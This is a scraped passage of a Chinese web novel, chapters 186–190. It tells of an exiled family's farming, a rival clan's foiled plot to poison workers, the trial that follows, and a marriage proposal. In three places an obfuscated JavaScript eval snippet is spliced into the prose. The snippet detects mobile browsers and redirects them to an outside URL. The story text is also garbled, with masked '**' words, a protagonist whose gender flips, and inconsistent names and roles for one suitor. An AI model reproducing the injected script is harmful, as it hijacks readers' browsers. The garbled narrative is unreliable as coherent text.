春风拂过脸庞,带来泥土的芬芳。秦远霄轻轻摇头,并未将两人的感激放在心上。这些来自媳妇界阙的良种,本就应该造福百姓。更何况,他和宁芷薇最不缺的就是银子。 杨乡长听着他们的谈话,脸上的表情变幻莫测。他张了张嘴,似乎还想说什么,最后却只是叹了口气,默默地走了出去。 待客人都离开后,院子里又恢复了平静。芳儿和珊儿在后院喂养着兔子,时不时传来银铃般的笑声。几位嫂嫂正在廊下忙着制作醉香兔和绣偶挂件,她们的手艺越来越好,做出的东西总能在集市上卖个好价钱。 “远霄,”宁芷薇轻声唤道,“你说杨乡长会改变主意吗?” 秦远霄在她身边坐下:“不用着急,等到秋收时,他们自然就明白了。” 宁芷薇点点头,目光透过窗户望向远处的田地。春日的阳光洒在新翻的黑土上,泛着润泽的光芒。工人们还在辛勤劳作,为即将到来的播种做着准备。 秦远霄立即着手安排春耕事宜。雇来的劳力正在田间忙碌,他站在地头,仔细规划着每块田地的用途。 “这片地势平坦,适合种植粮食。”他用木棍在地上画着,“靠近山坡的地方土质疏松,可以种些蔬菜。” 虽说秦家的耕地面积不小,但要种植的作物种类繁多。这东麓村没有水田,除了水稻外,但凡是有经济价值和口感好的粮食蔬菜,他都打算试种一些。 特别是辣椒,这可是这个时代没有的宝贝。秦远霄想到宁芷薇说过的那些美味佳肴,嘴角不自觉地扬起。光是辣椒,他就划了二十亩地。 “少爷,这边的地界划好了。”一个劳力擦着汗走过来报告。 秦远霄点点头:“好,把种子分发下去吧。记住我说的播种方法,切勿操之过急。” 另一边,秦雨澜也没闲着。小姑娘蹲在自己开垦的芝圃里,认真翻看着宁芷薇给她的药理书籍。她的额头沾着细密的汗珠,裙摆沾满泥土,但神情专注。 “雨澜,该歇会儿了。”秦老夫人端着茶水走来,心疼地看着孙女。 秦雨澜抬起头,露出一个疲惫却明亮的笑容:“祖母,我不累。九嫂说了,想把药材种好,就得自己动手。” 老夫人叹了口气,递过茶碗。从前在京城时,这个孙女被宠得无法无天。如今全家流放,经历了诸多磨难,也该让她学会坚强。 “九嫂给的这些药材品种真好。”秦雨澜喝了口茶,指着地里的幼苗,“这是当归,那是黄芪,还有人参...” 老夫人慈爱地看着女儿滔滔不绝的样子,心中欣慰。这些来自界阙的药材其实并不需要太多照料,宁芷薇这么安排,是想锻炼这个被宠坏的小姑娘。 春日的阳光温暖而不刺眼,照在新翻的泥土上,映出一片生机勃勃的景象。秦雨澜擦了擦额头的汗水,继续埋头干活。虽然手上起了水泡,但她从未想过放弃。 院子里的杏花开得正盛,粉白的花瓣随风飘落,在地上铺就了一层花毯。远处传来孩童的嬉闹声,夹杂着鸟儿的啼鸣,构成了一幅和谐的乡村画卷。 宁芷薇靠在软榻上,看着这一切,心中涌起一股暖流。这就是她想要的生活,平淡而充实,虽然要面对许多质疑和困难,但只要和远霄在一起,就没什么好怕的。 秦远霄握住她的手,掌心的温度传递着无声的力量。窗外,春风依旧轻柔,带着泥土的芬芳,吹拂着这片即将迎来变化的土地。 幽谷里的那些旧部,休养生息一阵子,身体状况已经好转。他们虽然想留在秦家,但也惦记着家中亲人。 “大人...”一名将士欲言又止,眼中闪烁着思念的泪光。 “我知道你们想说什么。”秦瑾高轻叹一声,“都想家了吧?” 将士们低下头,有人轻声啜泣。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15704915|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些年轻人,有的是家中独子,有的还有年迈的父母要赡养。 “大人,我...我想回去看看。”一个将士终于说出了心里话,“我娘身子不好,我放心不下。” 秦瑾高能理解他们的心情。这些人要回家,路上的盘缠和礼物都需要准备。虽然他手里有些积蓄,但远远不够。 无奈之下,他只能去找秦远霄商量。此时的秦远霄正在山脚下忙着建造大型兔舍。这是宁芷薇精心设计的砖瓦结构,分成几个大隔间,用来分类饲养不同品种的兔子。 “九弟。”秦瑾高走近时,秦远霄正在指导工人砌墙。 “大哥。”秦远霄放下手中的图纸,“有事?” 秦瑾高将幽谷里那些将士的情况说了,语气中带着歉意:“我知道这段时间你们已经帮了很多,但是...” “大哥不必多说。”秦远霄打断道,“这些将士跟着你出生入死,如今想回家看看,这是人之常情。盘缠的事,我来安排。” 秦瑾高眼眶微红:“九弟...” “大哥,你我之间,不必说这些。”秦远霄拍了拍兄长的肩膀,“等兔舍建好,这养殖的事也能开展起来。到时候,咱们秦家就能真正在这里扎根了。” 时光飞逝,转眼已是四月末。山上的果树抽出新芽,耕地里的粮食长势喜人。秦雨澜的芝圃里,各种珍贵药材也已经破土而出。这一切,都预示着秦家即将迎来丰收的季节。 宁芷薇站在院子里,看着忙碌的众人,嘴角露出一抹欣慰的笑容。虽然离开了京城,但在这东麓村,他们反而找到了新的希望。 杨家和吴家的人在秦家地里干活,一个个都卯足了劲儿。田间地头传来此起彼伏的说笑声,伴随着锄头翻土的声响,充满了生机。 “老赵,你说这秦家给的工钱也太好了吧?一天三十文呢!”吴刚叔一边挥动锄头,一边朝不远处的杨仲喊道。 杨仲抹了把额头的汗水,咧嘴笑道:“可不是嘛!比建房工地的工钱还高些。我家那口子说了,攒够了钱就给小子添件新衣裳。” “你们快看,宁姑娘来了!”有人眼尖,看到宁芷薇站在田埂上。 第一百八十六章 田里的人纷纷抬头,脸上都露出了亲切的笑容。宁芷薇身着淡青色襦裙,手里提着一个竹篮,远远地朝大家挥手示意。 “宁姑娘,您快回去歇着吧,这大太阳的。”吴刚婶放下手中的活计,关切地说道。 宁芷薇摇摇头,将竹篮放在田埂上:“大家辛苦了,我带了些点心,歇歇脚吃点吧。” 众人你看看我,我看看你,都有些不好意思。最后还是吴刚婶笑着接过竹篮:“宁姑娘就是心善,快让大伙儿尝尝。” 不远处的苏家族人躲在树荫下,眼睁睁看着这一幕。 “呸!装什么善人!”一个尖嘴猴腮的男子啐了一口,眼中满是嫉恨,“要不是他们秦家,我们苏家能落到这步田地?” 旁边一个中年妇人抹着眼泪:“可不是嘛,以前我们家良田千亩,现在却连口饭都快吃不上了。那些以前巴结我们的人,现在见了都绕着走。” “大哥,咱们真的就这么认了?”一个年轻人握紧拳头,指甲都陷进了掌心。 被称作大哥的男子眯起眼睛,阴冷地说:“认?怎么可能认!我已经想好了办法。” 他招招手,几个族人凑近了些。 “你们看那边。”他指着远处正在建设的秦家雅园,“每天中午,工地上都要给工人们煮饭。要是能在饭菜里加点料...” “大哥的意思是...”年轻人眼睛一亮。 “嘘!”大哥压低声音,“老三家还留着些老鼠药,你们懂我意思吧?” 几个人面面相觑,最后目光都落在了一个长相憨厚的汉子身上。 “二愣子,就看你的了。”大哥拍拍那汉子的肩膀,“你平时就傻愣愣的,去工地转悠也不会引人注意。” 二愣子搓着手,有些犹豫:“这...这不太好吧?” “有什么不好的!”大哥一把揪住他的衣领,“你是不是忘了,就是因为秦家,你爹才会死在牢里!” 二愣子的眼睛瞬间红了,攥紧了拳头:“**!” 第二天中午,二愣子混在建房工地的人群中,偷偷摸到了临时搭建的灶台旁。他左右张望,见四下无人,赶紧从怀里掏出一包白色粉末。 就在他准备将粉末倒进锅里时,身后突然传来一个冰冷的声音:“你在做什么?” 那声音来得太突然,二愣子被吓得一个激灵,手一抖,白色粉末撒进了锅里。他转身想逃,却被一只有力的手揪住了衣领。 秦远霄面无表情地看着他,眼中闪过一丝寒光:“说,是谁指使你来的?” 二愣子被秦远霄的气势震慑,双腿发软,一屁股坐在地上。 商智听到动静赶来,看到这一幕顿时大怒:“好啊,竟敢在我们工地下毒!”说着就要动手。 “住手。”秦远霄制止了商智,“这种事,得让县太爷来处理。” 很快,五哥赶着马车来了。他们用瓷瓶装了些被下毒的汤,又把二愣子绑了,直奔县衙而去。 宁芷薇在家里听说了这事,急得直想出门。 “你安心在家。”老夫人拦住她,“这种事有远霄处理就够了。” 宁芷薇咬着嘴唇,心里五味杂陈。她想起那些苏家人怨毒的眼神,又想起村里人对她的亲切。这世间的恩怨情仇,何时才能了结? 此时的苏家人还在家中等消息。 “怎么这么久还不回来?”大哥在院子里来回踱步。 “该不会出什么事了吧?”中年妇人担忧地说。 突然,有人指着山下:“你们快看!” 一辆马车正飞快地驶向县城方向,车上隐约可见被绑着的人影。 “是...是二愣子!”年轻人失声叫道。 大哥的脸瞬间变得惨白:“完了...” 不多时,衙役们就冲进了苏家。为首的差役高声宣布:“苏家人图谋毒害工人,罪证确凿!随我们到县衙走一趟吧!” 苏家人面如死灰,知道这次在劫难逃了。 消息很快传遍了整个东麓村。村民们议论纷纷,都说苏家这是自作自受。 “亏得墨少爷发现得早。”吴刚婶感慨道,“要不然后果不堪设想啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15704916|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” “可不是嘛。”杨仲叹了口气,“苏家人真是太糊涂了,做这种丧尽天良的事。” 夜幕降临,宁芷薇站在院子里,望着星空出神。 “在想什么?”秦远霄从身后抱住她。 “我在想,人心为什么会变得这么复杂。”宁芷薇轻声说,“明明可以选择向善,却偏偏要走向极端。” 秦远霄收紧了手臂:“有些人,只会怨天尤人,永远看不到自己的错误。” 宁芷薇靠在夫君怀里,闭上眼睛。远处传来虫鸣声,夜风轻拂,带来泥土的芬芳。她知道,不管前路如何,只要有夫君在身边,就永远不会迷失方向。 苏家族老站在院子里,目光阴沉地扫过周围的族人。天色已近黄昏,夕阳的余晖为每个人的脸上都蒙上了一层不安的阴影。院子里鸦雀无声,只有远处传来的几声犬吠打破了这份令人窒息的沉默。 “去,你去山下看看。”族老伸出布满老年斑的手,指向一个身形瘦削的少年,“就说是去砍柴,别让人起疑心。” 少年点点头,转身快步离去,脚步声在安静的院子里格外清晰。留下的族人们面面相觑,空气中弥漫着一股难以言说的紧张感。 “族老,这事要是败露了...”一个中年男子欲言又止,额头上渗出细密的汗珠。 族老冷哼一声:“怕什么?那小子又不认识我们,就算说出去也是白搭。”他的声音里带着几分狠厉,“秦家这些年太嚣张了,以为有几个当官的撑腰就能为所欲为?” 话音未落,院外突然传来一阵急促的脚步声。那个被派出去的少年跑得上气不接下气,脸色煞白。 “不好了!秦家的马车往县衙去了!” 族老的脸色瞬间变得铁青,他死死攥着拐杖,指节发白。 与此同时,秦远霄和五哥的马车已经停在了县衙门前。车轮碾过青石板路面的声响引来了不少路人的注目。 恰巧秦雪松正带着衙役准备出门办案。看到两位兄弟神色匆忙,他眉头一皱:“九弟,五哥,你们这是...” 第一百八十七章 话未说完,秦远霄已经从马车上拽出一个面色惨白的男人。那人像条死鱼般被重重摔在地上,发出一声闷响。 “八哥,这是苏家的人,胆大包天往工人的饭菜里下毒!”秦远霄的声音里带着压抑的怒火。 “啪!”秦雪松一脚踹在那人腰上,力道之大让周围的人都不禁倒吸一口冷气。 “好大的胆子!”他怒喝道,声音在衙门前的空地上回荡,“**是要掉脑袋的,你不知道吗?” 那人痛得在地上打滚,发出杀猪般的惨叫。路过的行人纷纷驻足观望,很快在衙门口**了一小群人。 衙役们见状,立刻上前将人架起来。那人双腿发软,几乎是被拖着往大堂去的。 “赶紧叫大老爷升堂!”有衙役高声喊道。声音中带着几分急切。 秦远霄转头对八哥说:“八哥,麻烦你去请个大夫来,得查清楚他用的是什么毒。” “好,我这就去。”秦雪松闻言立刻转身离开,脚步匆匆。 五哥将马车拴好,跟着秦远霄进了衙门。天井里的阳光已经变得有些暗淡,投下的影子拉得老长。 没过多久,蒋承志得到消息后,几乎是跑着来到大堂。他的官帽都歪了,显然是急急忙忙赶来的。 “五哥、九哥,到底出什么事了?”蒋承志的声音里带着几分焦急。 秦远霄没心思寒暄,直接说道:“蒋大人,我亲眼看见此人往工人的饭菜里下毒。要不是发现得及时...”他说到这里,声音里带着一丝后怕。 蒋承志立刻收起笑容,回到公案后坐下。堂上的气氛瞬间变得肃穆起来。 “啪!”惊堂木重重落下,声音在空旷的大堂里格外响亮。 “升堂!” 衙役们手持水火棍,整齐列队。那苏家人吓得瑟瑟发抖,跪在地上直打哆嗦,额头上的冷汗不停往下淌。 “你叫什么名字?”蒋承志的声音冷若冰霜。 “小...小人苏虞。”那人声音颤抖,几乎说不出完整的话来。 “为何要**?” 苏虞知道自己跑不掉了,额头重重地磕在地上:“是族老和族人商量的...他们嫉妒秦家发达,想让工人**,让秦家赔钱破产...” 五哥听到这里,再也忍不住,上前揪住苏虞的衣领,眼中怒火几乎要喷薄而出:“你下的什么毒?” “我...我不知道,是族人给的...”苏虞被吓得面如土色,“他们只说...只说不会**...” 蒋承志立即派人去围住苏家,同时让师爷详细审问苏虞。大堂里回荡着苏虞断断续续的招供声,每一句话都让在场的人怒火中烧。 一个时辰过去了,外面的天色已经完全暗了下来。秦雪松还没回来。 秦远霄和五哥坐不住了,起身要去找人。他们心里都有一个不好的预感。 蒋承志也觉得不对劲,立即派了几个衙役跟着:“小心些,苏家那边说不定还有后手。” 此时的秦雪松,已经带着一大群大夫往东麓村赶去。他在城里打听到,已经有工人出现了**症状。马蹄声在夜色中急促地响着,带起一路尘土。 与此同时,苏家族老正带着几个族人,趁着夜色往山里逃去。他们不敢点火把,只能摸黑前行。 “族老,现在该怎么办?”有人小声问道,声音里带着惶恐。 族老咬牙切齿:“还能怎么办?先躲起来再说!”他的拐杖在石头上磕碰着,发出清脆的响声,“秦家,这笔账我记下了!” 夜色渐深,整个东麓村笼罩在一片不安中。衙役们举着火把在村子里搜查,火光映照着每个人紧张的面容。 秦远霄和五哥骑马在通往山里的路上寻找秦雪松的踪迹。远处不时传来犬吠声,打破了夜的寂静。 这一夜注定是个不眠之夜。 秦远霄和五哥正在宁远四处寻找秦雪松,街道上行人匆匆,马车辘辘而过。她的目光不停扫过街边的茶楼酒肆,希望能找到八哥的身影。 “九妹,别着急。”五哥的声音从身后传来,“八弟向来心思单纯,说不定是理解错了你的意思。” 秦远霄停下脚步,眉头微蹙。她回想起刚才在工地发现有人在工人的饭菜里下毒时的情形,心里不由得一阵后怕。若不是她习惯性地 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其他人见状,也顾不得许多,纷纷四散奔逃。秦雪松冷哼一声,连续几个石子飞出,每一颗都准确命中目标。转眼间,十几个苏家人全都倒在地上,哀嚎不已。 最惨的要数苏家那位上了年纪的族老,他离秦雪松最近,挨的石子力道也最大。这一摔不要紧,当场就磕掉了好几颗门牙,鲜血顺着嘴角流下。 “老夫的牙...我的牙啊!”族老捂着嘴,含糊不清地叫嚷着。 秦雪松置若罔闻,三下五除二就把这群人捆了个结实。他刚要开口询问,就听见一阵急促的脚步声。 吴家和杨家的族长闻讯赶来,看到眼前的场景都愣住了。 “二位叔伯。”秦雪松拱手行礼,“麻烦你们帮我看着这些人,我去山下探探风,很快就回来。” 说完,他也不等两位族长回应,就朝山下跑去。他心里还惦记着工人们的情况,生怕有人**。 可到了宅基地一看,工人们都安然无恙,正有条不紊地干着活。秦雪松一头雾水,拉住正在指挥工人的商智问道:“商大哥,我九弟告密说苏家在搞鬼,这是怎么回事?” 第一百八十八章 商智擦了擦额头的汗水:“确有此事。多亏九公子警觉,及时发现了想在饭菜里下毒的苏家人,总算避免了一场灾难。” 秦雪松这才恍然大悟,原来九弟是让他去衙门请大夫,不是来工地。不过也算因祸得福,要不是他误会了,那些苏家人恐怕早就逃得无影无踪了。 他赶紧往回赶,正好在村口遇到了带着大夫和官差赶来的秦远霄。 “八哥!”秦远霄看到满地哀嚎的苏家人,不由得挑了挑眉,“你这是...?” 秦雪松不好意思地摸了摸鼻子:“我误会了你的意思,以为你让我带大夫来看工人。阴差阳错反而成了,抓住了这群想逃的苏家人。” 五哥看着地上东倒西歪的苏家人,嘴角微微上扬:“八弟这一手石子功夫倒是越发精进了。” 官差们立即上前,把苏家人押解起来。虽然天色已晚,但蒋承志还是立即开堂审理此案。 大堂内,油灯摇曳。大夫仔细检查了从苏家人身上搜出的白色粉末,神色凝重:“大人,这确实是鸩酒,而且纯度极高,若是服用必死无疑。” 蒋承志重重地拍了下惊堂木:“大胆!居然用这等剧毒想害无辜百姓,实在是罪该万死!来人,给我狠狠地打!” 衙役们领命上前,板子一下下落在苏家人身上。没打几下,苏家族老就招供了:“鸩酒是苏县丞留下的...他说...说万一事不可为,就让我们用这个...” “混账东西!”蒋承志怒喝一声,“居然如此丧心病狂!来人,把这些人全都给我关进大牢,等候发落!” 秦远霄站在一旁,看着被押下去的苏家人,心里五味杂陈。要不是她今天多留了个心眼,后果不堪设想。 “多亏五哥提醒我要多注意苏家人的动向。”她低声对身边的五哥说道。 五哥淡淡一笑:“你能及时发现才是关键。不过以后还是要多加小心,苏家人不会这么轻易善罢甘休的。” 走出衙门时,夜色已深。街上冷冷清清,只有几盏孤零零的灯笼在风中摇曳。秦远霄裹紧了衣服,夜风中带着几分凉意。 “九弟。”五哥突然开口,“今天的事,你做得很好。” 秦远霄愣了一下,随即笑道:“都是运气好。” “不是运气。”五哥摇摇头,“是你一直以来的警觉和细心。这些年,你确实成长了很多。” 秦远霄心里一暖,却又有些苦涩。她知道,这次虽然化险为夷,但苏家的报复才刚刚开始。未来还有更多的挑战在等着她。 回家的路上,月光清冷。秦远霄看着自己的影子在地上拉得老长,突然想起小时候总是跟在五哥身后的日子。那时的她,还不知道未来会面临这么多的风浪。 “在想什么?”五哥的声音传来。 秦远霄摇摇头:“没什么,就是觉得...这条路好像特别长。” 五哥轻轻拍了拍她的肩膀:“再长的路,一步步走也能走完。况且,你并不是一个人在走。” 夜风吹过,带来远处的更声。秦远霄深吸一口气,感受着夜色中的宁静。是啊,她不是一个人,有家人在身边,再难的路也不怕。 回到家时,八哥已经在门口等着了。看到他们回来,立即迎了上来:“九弟,对不起,我今天误会你的意思了。” 秦远霄笑着摇头:“八哥别这么说,要不是你及时回村,那些苏家人就跑了。” “是啊。”五哥也笑道,“八弟虽然误会了,但结果反而更好。” 夜已深,但秦府的灯火依然明亮。佣人们端来热茶,驱散了夜色的寒意。秦远霄看着眼前温暖的场景,心里充满了力量。 有家人在,就永远不会孤单。不管前方有多少艰难险阻,她都会勇敢面对。因为她知道,在这条路上,永远有人与她同行。 苏家人的审讯持续了整整一夜。 油灯在堂上摇曳,投下长长的阴影。除了几个妇孺,几乎所有族人都参与了那场阴谋。空气中弥漫着一股压抑的气息,夹杂着汗水和恐惧的味道。 蒋承志站在堂上,眉头紧锁。他的目光扫过跪在地上的苏家人,每一张脸上都写满了惶恐。这苏家,从根子上就烂透了。 “大人,求您开恩啊!”苏老太爷颤抖着声音哀求,“我们苏家世代忠良,这次只是一时糊涂......” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713142|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “一时糊涂?”蒋承志冷笑一声,“勾结山匪,意图谋害朝廷命官,这就是你们说的一时糊涂?” 堂下一片死寂。 “全族发配玄陲矿区,终身不得离开。”他一锤定音,木槌敲击惊堂木的声音在寂静的夜里格外清晰。 官差连夜赶往东麓村,将苏家人尽数拿下。三日后,便要押解他们上路。苏家的宅院被查封,门上贴着大大的红纸,上面写着“官府查封”四个大字。 苏家的田产房屋被收归官府。宁芷薇听到这个消息时,正在院子里喂兔子。春日的阳光暖洋洋的,照在她的身上,也照在那些蹦蹦跳跳的小家伙身上。 “夫君打算如何处置那些地?”她一边往食槽里添草料,一边随口问道。 秦远霄倚在院门上,看着她忙碌的身影,眼中带着笑意:“我们家已经够用了,倒是那些跟着我出生入死的兄弟们,该给他们一个安身立命的地方。” 宁芷薇停下手中的动作,眼前一亮:“你是说让他们也在东麓村定居?” “正是。”秦远霄走到她身边,轻轻拍了拍一只小白兔的脑袋,“他们跟了我这么多年,也该过些安稳日子了。这里山清水秀,是个好去处。” 蒋承志对秦远霄的请求一口应下,还特意压低了价格。他知道那些人都是跟着秦远霄出生入死的好汉,如今愿意安分过日子,正合朝廷心意。 东麓村渐渐热闹起来。除了原住民杨家和吴家,又多了秦家、段家和梁家。新房子一座接一座地盖起来,烟火气越来越浓。 段家的老大会木工,帮着村里人打家具;梁家的二郎擅长酿酒,酿出来的米酒香醇可口;秦家的三叔会种果树,带着大家伙把村后的荒山开垦出来,种上了各色果树。 宁芷薇每天都忙得不可开交。新建的兔舍比原来大了几十倍,可那些母兔繁殖得实在太快,没多久就占了五分之一的界阙。 她站在兔舍前,看着那些毛茸茸的小家伙,脑子里转着新的主意。春日的风吹过来,带着泥土和青草的气息。 “麝兔的**做成衣服,一定很漂亮。”她喃喃自语,手指轻轻抚过一只麝兔柔顺的毛发。 第一百八十九章 界阙里养的麝兔已经成年,有的甚至怀了崽子。是时候把它们弄出来了。这些麝兔毛色好,个头大,比普通家兔更适合取**。 她和秦远霄进城一趟,将麝兔从界阙里取出来,搁在出租的小院中。然后像往常一样,谎称是从洋人那里买来的。 “这**色真好看!”大嫂摸着麝兔柔顺的毛发,爱不释手,“比咱们之前养的兔子都好。” “等冬天做件披风,一定很暖和。”二嫂也凑过来看,眼睛里闪着光,“这**色,做出来的衣裳一定很贵气。” 兔子越养越多,光靠五哥夫妻俩忙不过来。宁芷薇又雇了几个村民帮忙,专门负责喂养和打扫兔舍。村里人都说秦家五房运气好,养的兔子一个比一个好。 吴家的几个小子也来帮忙,干活麻利,宁芷薇给他们工钱比别人多些。这些孩子家里穷,能多赚些钱,父母也能少操些心。 沈良远这段时间总往秦家跑。他已经和好几个城池的酒楼签了合同,生意做得风生水起。每次来,马车上总会带着各种新鲜玩意儿。 有时是南方运来的新鲜水果,有时是京城最新出的胭脂水粉,还有各色精致的小玩意儿。表面上是给全家人的,可宁芷薇总觉得不对劲。 那天他送来一匹蜀锦,专门给了秦雨澜。这可是连宫里娘娘都稀罕的东西,一匹少说也要几十两银子。 “这...这太贵重了。”秦雨澜低着头,耳根微红,“我不能收。” “澜儿,你就收下吧。”沈良远的声音难得的温柔,“我看这料子的颜色很衬你。” 宁芷薇在一旁看着这一幕,嘴角勾起一抹意味深长的笑。她看看蜀锦,又看看秦雨澜微红的脸,心里有了计较。 看来,她这个小姑子很快就要嫁人了。 春日的阳光透过窗棂洒进来,照在那匹蜀锦上,泛起淡淡的光晕。院子里,兔子们在草地上欢快地跳跃,一切都充满了生机。 沈良远今日又来秦府送礼了。 这一次,他带来了一匹价值不菲的蜀锦。锦缎上绣着栩栩如生的凤凰,每一根丝线都在阳光下泛着柔和的光泽,一看就知道是出自蜀中名家之手。 秦老夫人坐在主位上,目光在那匹蜀锦上停留片刻,又落在沈良远身上。这个年轻的商人一身月白色长衫,举止得体,谈吐不俗。但越是这样,她心里越发沉重。 这已经是短短半月内,沈良远第二次送贵重礼物了。上一次是一对南海珍珠,这一次又是蜀中名锦。 “唐公子有心了。”秦老夫人端起茶盏抿了一口,“不过这蜀锦太贵重,我们不能收。” 沈良远脸上的笑容略显僵硬,但很快又恢复如常:“老夫人言重了。区区薄礼,不成敬意。” 宁芷薇站在一旁,默默观察着这一切。作为秦府的九儿媳,她早就看出了沈良远对秦雨澜的心思。每次送货,他总要多留一会儿,找各种理由打听秦雨澜的消息。 堂屋里的气氛有些凝滞,好在丫鬟适时端来了点心,打破了这份尴尬。 “老夫人,这是刚出炉的芷兰糕,您尝尝。”丫鬟将点心放在桌上,轻声说道。 秦老夫人示意沈良远也尝尝,沈良远却只是礼貌地摇头:“多谢老夫人,我还有事要处理,就不多打扰了。” 送走沈良远后,二嫂按捺不住,拉着几个妯娌凑在一起说话。 “娘,您说沈公子是不是对我们雨澜有意思啊?”二嫂眨着眼睛问道,“他家在蜀中经营丝绸生意,家底殷实,为人也稳重。” 秦雨澜正要离开,听到这话,耳根微红。她低着头,假装在整理衣袖。 “雨澜,你的兔子是不是快生了?去看看吧。”秦老夫人及时解围。 秦雨澜如蒙大赦,快步走到母亲身边,凑到她耳边轻声说:“娘,我对沈公子没有那种心思。” 等秦雨澜走后,秦老夫人看着几个儿媳妇,语气严肃:“雨澜的事情我心里有数,以后沈公子来访,你们该怎么待客就怎么待客,别多事。” 宁芷薇立刻领会:“娘说得对,这事我们不该多嘴。雨澜性子单纯,不喜欢被人催促 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“秦姑娘这是要去侍弄芝圃吗?”沈良远抢先开口,脸上带着温和的笑意。 秦雨澜心里有些烦躁,她分明看到蒋承志也要说话。那双总是带着几分慵懒的眼睛此刻正看着她,让她心里泛起一阵涟漪。 “是的,沈公子。”她礼貌地回应,声音比平时更加轻柔。 沈良远从怀中掏出一个精致的荷包,荷包上绣着几朵栩栩如生的牡丹:“这是我得到的人参种子,知道姑娘喜欢种药材,特意带来给你。” 蒋承志站在一旁,眼中闪过一丝不悦。他的手指无意识地摩挲着腰间的玉佩,这是他每次心情不好时的习惯动作。 秦雨澜连忙后退一步,差点踩到身后的珊儿:“感激沈少美意,但这太贵重了,我不能收。”她的声音里带着几分慌乱。 “这不算什么,就是普通的种子罢了。”沈良远继续劝说,向前迈了一步。 第一百九十章 秦雨澜偷瞄了一眼蒋承志,见他脸色不太好看,心中暗喜。她抿了抿唇,说道:“我刚开始学种药材,怕是会糟蹋了这么好的种子,还请唐公子收回。” 她说完,冲着两人福了福身,快步离开了。帷帽下的脸颊微微发烫,不知是因为晨光太暖,还是因为方才那一瞥。 珊儿和芳儿紧跟在她身后,两个丫头交换了一个心照不宣的眼神。她们都看出来了,小姐对蒋公子的心思。 走到芝圃边,秦雨澜停下脚步,深吸一口气。晨露还未散去,空气中弥漫着草药的清香。她摘下帷帽,让微凉的晨风吹散脸上的热度。 “小姐,您看那边的当归开花了。”珊儿指着不远处的一片芝圃说道。 秦雨澜顺着她指的方向看去,果然看到几株当归开出了白色的小花。她走过去蹲下身,仔细查看着花朵的状态。 “长势不错。”她轻声说道,眼中带着几分欣慰。这些药材都是她亲手种下的,看着它们一天天长大,开花结果,就像看着自己的孩子一样。 就在这时,一阵脚步声传来。秦雨澜回头望去,看到蒋承志正向这边走来。她慌忙戴上帷帽,心跳又开始不受控制。 院中的气氛凝滞,连微风拂过都显得格外沉重。 沈良远手里捏着那个绣工精致的荷包,指节因用力而微微发白。他虽贵为朝中重臣,见惯了形形**的人物,此刻也不免觉得脸上发烫,额角渗出细密的汗珠。 “沈大人的好意,澜儿心领了。”秦雨澜微微垂首,声音轻柔却坚定,“只是这荷包,澜儿不能收。” 这已经是第三次拒绝了。每一次她都说得很委婉,但态度却愈发坚决。院中的丫鬟们低着头,装作在打扫落叶,实则竖起耳朵听着这边的动静。 檐下的风铃被微风撩动,发出清脆的响声,更衬得气氛尴尬。沈良远的手指无意识地摩挲着荷包上精美的刺绣,眼神闪烁不定。 就在这时,一阵轻缓的脚步声传来,打破了院中的沉寂。 秦老夫人从内室走出,目光在院中几人身上扫过。她本想为女儿解围,却见蒋承志已经快步走到她面前。他今日穿着一身月白色直裰,腰间系着玉带,整个人看起来清雅俊逸。 “秦老夫人安好。”蒋承志深深一揖,声音恭敬中带着一丝紧张。 秦雨澜的心跳突然加快了几分。她偷偷看了一眼蒋承志的背影,不知为何,总觉得他今日有些不同。往日的从容淡定似乎被某种急切取代,连说话时的语气都带着一丝不易察觉的颤抖。 “蒋大人今日怎得有闲?”秦老夫人笑着问道,眼角的笑纹温和亲切。 蒋承志的手在袖中紧握成拳,又松开。他深吸一口气,抬起头来,目光坚定:“老夫人,晚辈今日是为求娶秦姑娘而来。” 这话一出,院中瞬间安静得连针落可闻。连那些假装打扫的丫鬟们都停下了动作,悄悄抬头张望。 秦雨澜的脸“唰”地红了,慌忙躲到几位嫂嫂身后。她的心跳得更快了,像是要从胸腔里蹦出来。耳边似乎还能听到自己急促的呼吸声。 “我知道这样贸然前来不合规矩,”蒋承志继续说道,声音因激动而略显沙哑,“但我实在按捺不住心中情意。我愿立下誓言,此生只娶秦姑娘一人为妻,绝不纳妾。” 院中的空气仿佛凝固了。这番表白来得突然,却又在情理之中。 秦老夫人看着眼前的年轻人,眼中闪过一丝赞许。她早就看出蒋承志对女儿的心思,只是没想到他会选在今日说出口。这个年轻人,从来都是稳重有度的,今日这般冲动,倒是难得一见。 “既然蒋大人有此心意,不如进屋细谈。”秦老夫人温和地说道。 听到这话,蒋承志眼中闪过一丝喜色,整个人都轻松了几分:“请老夫人给我三日时间,我必备齐聘礼,请城中最好的媒人上门提亲。” 